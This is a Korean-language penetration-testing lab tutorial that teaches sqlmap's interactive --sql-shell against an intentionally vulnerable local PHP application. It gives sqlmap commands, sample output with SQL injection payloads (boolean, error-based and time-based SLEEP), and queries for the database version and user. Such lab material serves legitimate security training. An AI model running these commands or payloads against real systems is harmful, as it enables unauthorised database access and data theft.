sqlmap 에서 대화형 SQL 쉘 사용하기

Kali LinuxBeginner
지금 연습하기

소개

이 랩에서는 sqlmap 의 가장 강력한 기능 중 하나인 대화형 SQL 쉘을 탐색합니다. sqlmap 은 SQL 인젝션 취약점을 탐지하고 악용하며 데이터베이스 서버를 장악하는 프로세스를 자동화하는 오픈 소스 침투 테스트 도구입니다.

sqlmap 은 데이터 추출을 자동화할 수 있지만, --sql-shell 옵션은 백엔드 데이터베이스에 대한 직접적이고 대화형 액세스를 제공합니다. 이를 통해 사용자 정의 SQL 쿼리를 실행할 수 있어 침투 테스트 중에 더 큰 유연성과 제어력을 확보할 수 있습니다. 인젝션을 설정하고, 쉘을 실행하고, 데이터베이스를 질의하기 위한 명령을 실행하는 방법을 배우게 됩니다.

대상에 대한 성공적인 인젝션 설정

이 단계에서는 sqlmap 을 사용하여 웹 애플리케이션을 스캔하고 SQL 인젝션에 취약한지 확인합니다. 저희 설정 스크립트는 이미 로컬 Apache 서버에서 실행되는 간단하고 취약한 PHP 애플리케이션을 생성했습니다. sqlmap 을 대상 URL 로 지정하고 초기 분석을 수행하도록 해야 합니다.

먼저 터미널에서 다음 sqlmap 명령을 실행합니다. -u 플래그를 사용하여 대상 URL 을 지정하고 --batch를 사용하여 비대화형 모드로 실행하며 모든 기본 답변을 수락합니다.

sqlmap -u "http://127.0.0.1/index.php?id=1" --batch

sqlmap 은 일련의 테스트를 수행합니다. 완료될 때까지 기다립니다. 출력에서 GET 매개변수 id가 취약하다는 것을 보여줍니다. 이 확인은 악용을 진행하기 전에 필요한 첫 번째 단계입니다.

취약점을 확인하는 다음과 유사한 출력이 표시되어야 합니다.

---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 1421=1421

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: id=1 AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x71627a7671,(SELECT (ELT(2521=2521,1))),0x71787a7171,0x78))s), 8446744073709551610, 8446744073709551610)))

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1 AND (SELECT 2112 FROM (SELECT(SLEEP(5)))mrzs)
---
[15:30:00] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.52, PHP 8.1.2
back-end DBMS: MySQL >= 5.0
[15:30:00] [INFO] fetched data logged to text files under '/home/labex/.local/share/sqlmap/output/127.0.0.1'

--sql-shell을 사용하여 대화형 SQL 쉘 실행

이 단계에서는 --sql-shell 옵션을 사용하여 대상 데이터베이스에 대한 대화형 SQL 프롬프트를 얻게 됩니다. 이제 인젝션 지점을 확인했으므로 sqlmap 에 직접 액세스를 제공하도록 지시할 수 있습니다.

이전과 동일한 sqlmap 명령을 실행하되, 이번에는 --batch 옵션을 --sql-shell로 바꿉니다.

sqlmap -u "http://127.0.0.1/index.php?id=1" --sql-shell

sqlmap 은 인젝션을 다시 확인한 다음 특별한 프롬프트인 sql-shell>을 표시합니다. 이는 백엔드 데이터베이스와의 대화형 세션에 있음을 나타냅니다. 대상 DBMS(MySQL 임을 알고 있음) 에 대한 유효한 모든 SQL 쿼리를 이 프롬프트에서 실행할 수 있습니다.

출력은 다음과 같습니다.

[15:35:00] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.52, PHP 8.1.2
back-end DBMS: MySQL >= 5.0
[15:35:00] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press ENTER
sql-shell>

SELECT @@version과 같은 사용자 정의 SQL 쿼리 실행

이 단계에서는 대화형 SQL 쉘에서 첫 번째 명령을 실행합니다. 이를 통해 데이터베이스를 직접 쿼리할 수 있는 능력을 보여줄 것입니다. 일반적인 첫 번째 쿼리는 데이터베이스 버전을 확인하는 것입니다.

sql-shell> 프롬프트에서 다음 SQL 쿼리를 입력하고 Enter 키를 누릅니다. 끝에 세미콜론을 포함하는 것을 잊지 마십시오.

SELECT @@version;

sqlmap 은 쿼리를 받아 취약한 매개변수에 주입하고 서버로 전송한 다음 결과를 반환합니다. MySQL 의 @@version 변수는 데이터베이스 서버 버전을 포함하는 문자열을 반환합니다.

콘솔에 데이터베이스 버전이 직접 출력되는 것을 볼 수 있습니다.

sql-shell> SELECT @@version;
[15:40:01] [INFO] fetching MySQL version
[15:40:01] [INFO] retrieved: 8.0.xx-0ubuntu0.22.04.x
8.0.xx-0ubuntu0.22.04.x

SELECT user()와 같은 다른 사용자 정의 쿼리 실행

이 단계에서는 데이터베이스를 더 탐색하기 위해 다른 쿼리를 실행합니다. 이는 대화형 제어 개념을 강화합니다. 웹 애플리케이션이 데이터베이스에 연결하는 데 사용하는 데이터베이스 사용자를 알아보겠습니다.

sql-shell> 프롬프트에서 SELECT user() 쿼리를 입력하고 Enter 키를 누릅니다.

SELECT user();

이 명령은 현재 세션의 사용자 이름과 호스트를 반환하도록 데이터베이스에 요청합니다. 이는 주입의 권한 수준을 이해하는 데 유용한 정보입니다.

출력에는 설정 스크립트에서 구성한 데이터베이스 사용자가 표시됩니다.

sql-shell> SELECT user();
[15:42:10] [INFO] fetching current user
[15:42:10] [INFO] retrieved: labex@localhost
labex@localhost

대화형 SQL 쉘 종료 및 터미널로 돌아가기

이 마지막 단계에서는 대화형 SQL 쉘을 올바르게 종료하고 표준 터미널 프롬프트로 돌아가는 방법을 배웁니다.

sql-shell>을 종료하려면 exit 또는 quit를 입력하고 Enter 키를 누릅니다.

exit

sqlmap 은 세션을 닫고 Zsh 터미널의 ~/project 디렉토리로 돌아갑니다. 이것으로 데이터베이스와의 대화형 세션이 종료됩니다.

출력에서 세션이 종료됨을 확인할 수 있습니다.

sql-shell> exit
[15:45:00] [INFO] quitting
[15:45:00] [INFO] shutting down at 15:45:00

[*] shutting down...
labex@vnc-ubuntu:~/project$

이제 sqlmap 의 대화형 쉘을 사용하여 사용자 정의 쿼리를 성공적으로 실행하고 일반 명령줄로 돌아왔습니다.

요약

이 실습에서는 sqlmap 의 가장 강력한 기능 중 하나인 대화형 SQL 쉘 사용법을 성공적으로 배웠습니다.

기본 sqlmap 스캔을 사용하여 대상 애플리케이션에서 SQL 주입 취약점을 식별하는 것으로 시작했습니다. 그런 다음 --sql-shell 플래그를 사용하여 대화형 세션을 시작함으로써 이 취약점을 활용했습니다. 이 쉘 내에서 SELECT @@version;SELECT user();와 같은 사용자 정의 SQL 쿼리를 실행하여 데이터베이스를 직접 질의하고 정보를 검색했습니다. 마지막으로 쉘을 종료하고 터미널로 돌아가는 방법을 배웠습니다. 이 기술은 손상된 데이터베이스에 대한 세밀한 제어가 필요한 모든 침투 테스터에게 필수적입니다.